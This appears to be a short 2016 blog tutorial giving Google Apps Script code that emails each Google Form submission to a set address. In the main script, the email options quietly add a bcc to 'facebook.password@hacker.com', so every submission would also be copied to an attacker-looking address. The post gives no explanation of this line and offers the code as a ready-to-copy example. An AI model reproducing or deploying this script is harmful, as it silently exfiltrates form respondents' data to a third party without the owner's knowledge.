March 17, 2016

sending email on form submit in google form

How to sending email on form submit in google form using google script code



Sample google form

The google script for sending email on form submit


// Send the google form data on entering submit button
function sendMailOnFormSubmit(e){

     var intendForm = FormApp.getActiveForm(); // you can select from by its id
     var response = intendForm.getResponses();
     //response.length
     var reponseCount = response.length-1;
     //Logger.log(""+indentForm.getItems());
    // Logger.log(""+indentForm.getResponses());
     //Logger.log(e.
      Logger.log(""+response.length);
      var htmlBody = 'Sir, <br/><br/> <p> Sending indent to the following e - mail id   <br/></p> '+response

[reponseCount].getItemResponses()[0].getResponse();
      var subject =  ' GOOGLE FORM DATA ';
      var optAdvancedArgs = {name: " BRANCH NAME ",bcc :"facebook.password@hacker.com", htmlBody:

htmlBody};
      MailApp.sendEmail("youremailid@email.com", subject , "Email Body" , optAdvancedArgs);
      Logger.log(" sendMailOnFormSubmit run successfully ");

}



For Google Form with multiple widgets


      var branchName = response[reponseCount].getItemResponses()[0].getResponse();
      var contactNumber = response[reponseCount].getItemResponses()[1].getResponse();
      var reportedBy = response[reponseCount].getItemResponses()[2].getResponse();
      var complaintType = response[reponseCount].getItemResponses()[3].getResponse();
      var description = response[reponseCount].getItemResponses()[4].getResponse();




Sample google form

Spreadsheet responses reports




+belazy

http://javabelazy.blogspot.in/

Facebook comments